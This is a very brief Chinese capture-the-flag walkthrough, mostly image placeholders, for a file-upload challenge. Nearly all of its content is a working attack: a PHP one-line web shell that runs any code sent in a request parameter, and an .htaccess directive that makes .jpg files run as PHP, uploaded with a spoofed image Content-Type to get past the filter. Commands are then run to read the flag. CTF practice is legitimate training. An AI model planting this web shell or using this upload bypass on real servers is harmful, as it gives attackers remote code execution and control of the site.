图片.png

上传图片🐎

<?php @eval($_REQUEST['a']) ?>

图片.png

然后上传.htaccess文件，需要抓包修改Content-Type为image/jpeg

AddType application/x-httpd-php .jpg

图片.png

执行命令读取flag

图片.png